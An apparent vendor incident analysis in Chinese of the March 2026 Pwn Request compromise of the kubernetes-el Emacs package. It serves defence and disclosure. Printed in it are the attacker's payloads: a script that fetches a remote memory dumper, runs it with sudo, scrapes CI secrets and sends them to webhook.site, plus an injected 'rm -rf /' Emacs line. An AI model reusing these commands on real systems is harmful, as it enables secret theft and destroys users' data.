kubernetes-el 被攻陷:Pwn Request 如何利用流行 Emacs 包

2026年3月5日,一个威胁行为者利用了 kubernetes-el/kubernetes-el(一个流行的用于管理 Kubernetes 集群的 Emacs 包)的 CI 工作流中一个经典的"Pwn Request"漏洞。攻击者窃取了仓库的 GITHUB_TOKEN(具有完全写入权限),窃取了 CI/CD 密钥,篡改了仓库,并注入了破坏性代码。

该包已从 MELPA(一个流行的第三方 Emacs 包仓库)中移除,并在 Emacsmirror 上被阻止更新,影响了依赖它进行 Emacs 内 Kubernetes 管理的用户。

事件经过

一个名为 quicktrinny 的 GitHub 账户在攻击前一天(2026年3月4日)创建,没有粉丝、没有简介、也没有任何先前活动,它 fork 了 kubernetes-el 仓库并打开了 PR #382,标题为"ci: add test",描述为"important test:)"。

该 PR 触发了仓库的 CI 工作流,该工作流使用了危险的 pull_request_target 触发器,并明确检出了攻击者的 fork 代码。这使攻击者能够在 GitHub Actions 运行器内获得任意代码执行权限,并对目标仓库拥有完全写入权限

存在漏洞的工作流

该仓库的 CI 工作流.github/workflows/ci.yaml)包含两个关键错误配置,它们共同构成了 Pwn Request 漏洞:

pull_request_target 触发器授予工作流目标仓库的 GITHUB_TOKEN 和密钥。通常这是安全的,因为工作流代码来自目标仓库的默认分支。但是 checkout 步骤中的显式 ref: ${{ github.event.pull_request.head.sha }} 覆盖了这一点——它改为从攻击者的 fork 获取代码。然后 make build 步骤执行攻击者在 Makefile 中放置的任何内容。

漏洞利用:逐步详解

攻击者在他们的 fork 中迭代了 6 次提交,在 3 次工作流运行中不断完善漏洞利用。有效载荷的演变展示了实时学习过程:

提交 1:劫持 Makefile

攻击者修改了 Makefile 中的 build 目标,使其执行 shell 脚本而不是正常的构建:

# Original: build : compile $(DEPS_PNG) # Attacker's version: build:    @bash -c "chmod +x ./funny.sh && \    ./funny.sh"

提交 2:创建有效载荷(funny.sh)

初始有效载荷试图转储运行器的内存以提取 GITHUB_TOKEN,然后将其泄露到一个 webhook.site 端点:

# funny.sh (initial version) TOKEN_VAL=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py \ | sudo python3 | tr -d '\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64` curl -d "${TOKEN_VAL}" https://webhook.site/18c6f9e6-1dce-4b6a-975a-4f0fe0114f65 sleep 60m

提交 3:切换到不同的内存转储工具

攻击者从 GitHub Gist 托管的脚本切换到 Cacheract 内存转储工具(一个已知的 CI/CD 安全研究工具):

# Updated source URL curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/refs/heads/main/assets/memdump.py \  | sudo python3 | ...

提交 4:修复 Makefile 缩进

第一次工作流运行(run #22702057033)失败,因为 Makefile 使用了空格而不是制表符。攻击者修复了缩进:

# Spaces (broken):    @bash -c "chmod +x ./funny.sh && \    ./funny.sh" # Tabs (fixed): @bash -c "chmod +x ./funny.sh && \ ./funny.sh"

提交 5 和 6:升级有效载荷——提取所有密钥

在修复制表符问题后,攻击者升级了他们的方法。他们不再只是提取 GITHUB_TOKEN,而是使用 JSON 模式匹配针对运行器内存中存储的所有密钥

# Final payload (funny.sh) curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py \  | sudo python3 | tr -d '\0' \  | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets curl -X PUT --upload-file /tmp/secrets https://webhook.site/2a7334c9-64a7-48cf-8b22-409028d50d9d sleep 9999

这从运行器的进程内存中提取了任何匹配 {"value":"...","isSecret":true} 模式的密钥,包括 GITHUB_TOKEN

成功运行的工作流日志证实了数据泄露。在 UTC 04:29,make build 步骤触发了有效载荷。日志中可见 350 字节上传 / 156 字节响应 的 curl 传输,随后是 webhook.site 的响应,确认上传成功。

⛔ curl https://webhook.site/2a7334c9-... → 已阻止

这就是 StepSecurity Harden-Runner 防止的事情

GitHub Actions 的实时网络出口监控。从该仓库泄露密钥的对 webhook.site 的调用会在任何数据离开运行器之前被检测到并阻止。

在 GitHub 上查看 → 免费开始 →

事后:仓库被篡改和销毁

攻击者使用窃取的 GITHUB_TOKEN 直接向 master 分支推送了 4 个恶意提交——无需拉取请求或审查:

  • 929c639(UTC 04:30)——篡改 Readme.md ——用"HACKED BY DICK LONG"和一张图片替换了所有内容
  • 09e06af(UTC 04:32)——用 rm -rf / 替换了 kubernetes.el(主包文件)——如果加载会摧毁用户系统
  • b27498c(UTC 04:33)​——重复破坏性提交
  • c084b10(UTC 04:47)​——删除了几乎所有仓库文件

关键:​ 第二个提交用一行代码 (shell-command-to-string "sudo rm -rf / || rm -rf / || sudo rm -rf / --no-preserve-root") 替换了 kubernetes.el——包的主入口点。在此次提交之后更新或安装该包的任何 Emacs 用户都会在他们的系统上执行这个破坏性命令。

这些提交的作者被标注为 github-actions[bot],因为窃取的 GITHUB_TOKEN 与该身份关联,使攻击看起来像是来自自动化过程。

攻击时间线

2026年3月4日

  • 约 UTC 00:13 —— GitHub 账户 quicktrinny 创建

2026年3月5日

  • UTC 03:40 —— 攻击者在 fork 中修改 Makefile 以执行 funny.sh
  • UTC 03:41 —— 创建 funny.sh,包含内存转储和令牌泄露有效载荷
  • UTC 03:47 —— 将内存转储源从 Gist 切换到 Cacheract
  • UTC 03:49 —— 修复 Makefile 制表符(第一次尝试因空格问题失败)
  • UTC 04:17 —— 打开 PR #382;第一次工作流运行失败(初始提交仍有制表符问题)
  • UTC 04:26 —— 推送更新的有效载荷;第二次工作流运行成功——密钥被泄露
  • UTC 04:28 —— 再次推送;第三次工作流运行成功——密钥再次被泄露
  • UTC 04:30 —— 开始篡改:Readme.md 被替换为"HACKED BY DICK LONG"
  • UTC 04:32 —— 注入破坏性有效载荷kubernetes.el 被替换为 rm -rf /
  • UTC 04:47 —— 大多数仓库文件被删除
  • UTC 05:28 —— PR #382 关闭

2026年3月7日

  • UTC 19:02 —— 妥协被 tarsius(Jonas Bernoulli,Emacsmirror 维护者)发现并报告
    • 包从 MELPA 移除并在 Emacsmirror 上被阻止

如何保护您的工作流

1. 切勿在 pull_request_target 工作流中检出不受信任的代码

如果您的工作流使用 pull_request_target,请不要检出 PR head。如果您必须处理 PR 代码,请使用双工作流模式:一个 pull_request 工作流(具有只读权限)用于构建和测试,以及一个单独的 workflow_run 工作流用于特权操作。

# DANGEROUS - don't do this: on: pull_request_target steps:  - uses: actions/checkout@v6    with:      ref: ${{ github.event.pull_request.head.sha }}  - run: make build  # Runs attacker's code with write permissions # SAFE - use pull_request instead: on: pull_request     # Read-only token, can't push to target repo steps:  - uses: actions/checkout@v6  # Checks out PR code (safe, limited permissions)  - run: make build

2. 限制 GITHUB_TOKEN 权限

在工作流级别设置最小权限。对于 CI/测试工作流,您几乎不需要写入权限:

permissions:  contents: read    # Read-only access to repo contents  # Don't grant write to anything unless absolutely necessary

3. 监控 CI 运行器的网络出口

攻击将数据泄露到 webhook.site —— 一个永远不应该从 CI 构建中联系的域名。像 StepSecurity Harden-Runner 这样的网络监控工具可以检测并阻止来自 GitHub Actions 运行器的意外出站连接。

入侵指标

  • 攻击者 GitHub 账户:​ quicktrinny(创建于 2026-03-04)
  • 攻击者邮箱:​ jump-kept-freckles@duck.com(DuckDuckGo 中继)
  • 恶意 PR:​ kubernetes-el/kubernetes-el#382
  • 泄露端点 1:​ webhook.site/18c6f9e6-1dce-4b6a-975a-4f0fe0114f65
  • 泄露端点 2:​ webhook.site/2a7334c9-64a7-48cf-8b22-409028d50d9d
  • 内存转储工具:​ AdnaneKhan/Cacheract memdump.py
  • 篡改提交:​ 929c639
  • 破坏性提交:​ 09e06af
  • 漏洞利用工作流运行:​ #22702282382#22702314529

致谢

此次妥协由 Emacsmirror 维护者 Jonas Bernoulli(tarsius)发现并报告。他立即从 MELPA 移除了该包,并在 Emacsmirror 上阻止了更新,防止了受感染代码进一步分发给 Emacs 用户。他的快速行动显著限制了此次攻击的影响范围。